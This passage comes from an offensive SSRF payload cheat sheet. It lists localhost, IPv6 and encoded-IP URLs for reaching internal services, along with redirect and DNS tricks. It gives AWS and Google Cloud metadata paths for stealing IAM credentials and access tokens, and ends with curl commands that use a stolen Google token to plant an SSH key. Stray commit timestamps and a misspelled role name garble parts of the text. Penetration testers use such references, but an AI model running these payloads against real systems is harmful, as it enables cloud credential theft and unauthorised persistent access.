- [Gopherus - https://github.com/tarunkant/Gopherus ](https://github.com/tarunkant/Gopherus )
## Payloads with localhost
Basic SSRF v1
```powershell
http://127.0.0.1:80
http://127.0.0.1:443
http://127.0.0.1:22
http://0.0.0.0:80
http://0.0.0.0:443
http://0.0.0.0:22
```
Basic SSRF - Alternative version
```powershell
http://localhost:80
http://localhost:443
http://localhost:22
```
Advanced exploit using a redirection
```powershell
1. Create a subdomain pointing to 192.168.0.1 with DNS A record e.g:ssrf.example.com
2. Launch the SSRF: vulnerable.com/index.php?url=http://YOUR_SERVER_IP
vulnerable.com will fetch YOUR_SERVER_IP which will redirect to 192.168.0.1
```
Advanced exploit using type=url
```powershell
Change "type=file" to "type=url"
Paste URL in text field and hit enter
Using this vulnerability users can upload images from any image URL = trigger an SSRF
```

http://[::]:25/ SMTP
http://[::]:22/ SSH
http://[::]:3128/ Squid
```
```powershell
http://0000::1:80/
http://0000::1:25/ SMTP

The service nip.io is awesome for that, it will convert any ip address as a dns.
```powershell
NIP.IO maps < anything > .< IP Address > .nip.io to the corresponding < IP Address > , even 127.0.0.1.nip.io maps to 127.0.0.1

```
## SSRF URL for Cloud Instances
### SSRF URL for AWS Bucket
[Docs ](http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html#instancedata-data-categories )
Interesting path to look for at `http://169.254.169.254`
```powershell
Always here : /latest/meta-data/{hostname,public-ipv4,...}
User data (startup script for auto-scaling) : /latest/user-data
Temporary AWS credentials : /latest/meta-data/iam/security-credentials/
```
DNS record
```powershell
http://169.254.169.254
http://metadata.nicob.net/
http://169.254.169.254.xip.io/
http://1ynrnhl.xip.io/
http://www.owasp.org.1ynrnhl.xip.io/
```
HTTP redirect
```powershell
Static:http://nicob.net/redir6a
Dynamic:http://nicob.net/redir-http-169.254.169.254:80-
```
Alternate IP encoding
```powershell
http://425.510.425.510/ Dotted decimal with overflow
http://2852039166/ Dotless decimal
http://7147006462/ Dotless decimal with overflow
http://0xA9.0xFE.0xA9.0xFE/ Dotted hexadecimal
http://0xA9FEA9FE/ Dotless hexadecimal

http://0251.00376.000251.0000376/ Dotted octal with padding

E.g: Jira SSRF leading to AWS info disclosure - `https://help.redacted.com/plugins/servlet/oauth/users/icon-uri?consumerUri=http://169.254.169.254/metadata/v1/maintenance`
E.g2: Flaws challenge - `http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws/`
2019-04-21 16:51:32 +00:00
### SSRF URL for AWS Elastic Beanstalk
2019-04-22 09:35:07 +00:00
We retrieve the `accountId` and `region` from the API.
2019-04-21 16:51:32 +00:00
```powershell
http://169.254.169.254/latest/dynamic/instance-identity/document
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
```
2019-04-22 09:35:07 +00:00
We then retrieve the `AccessKeyId` , `SecretAccessKey` , and `Token` from the API.
2019-04-21 16:51:32 +00:00
```powershell
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
```
2019-04-22 09:35:07 +00:00
Then we use the credentials with `aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/` .
2019-04-21 16:51:32 +00:00
2019-01-28 19:27:45 +00:00
### SSRF URL for Google Cloud
Requires the header "Metadata-Flavor: Google" or "X-Google-Metadata-Request: True"
```powershell
http://169.254.169.254/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/
http://metadata/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/instance/hostname
http://metadata.google.internal/computeMetadata/v1/instance/id
http://metadata.google.internal/computeMetadata/v1/project/project-id
```
Google allows recursive pulls
```powershell
http://metadata.google.internal/computeMetadata/v1/instance/disks/?recursive=true
```
Beta does NOT require a header atm (thanks Mathias Karlsson @avlidienbrunn )
```powershell
http://metadata.google.internal/computeMetadata/v1beta1/
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true
```
Interesting files to pull out:
- SSH Public Key : `http://metadata.google.internal/computeMetadata/v1beta1/project/attributes/ssh-keys?alt=json`
- Get Access Token : `http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token`
- Kubernetes Key : `http://metadata.google.internal/computeMetadata/v1beta1/instance/attributes/kube-env?alt=json`

#### Add an SSH key
Extract the token
```powershell
http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json
```
Check the scope of the token
```powershell
$ curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA
{
"issued_to": "101302079XXXXX",
"audience": "10130207XXXXX",
"scope": "https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/monitoring",
"expires_in": 2443,
"access_type": "offline"
}
```
Now push the SSH key.
```powershell
curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCommonInstanceMetadata"
-H "Authorization: Bearer ya29.c.EmKeBq9XI09_1HK1XXXXXXXXT0rJSA"
-H "Content-Type: application/json"
--data '{"items": [{"key": "sshkeyname", "value": "sshkeyvalue"}]}'
```
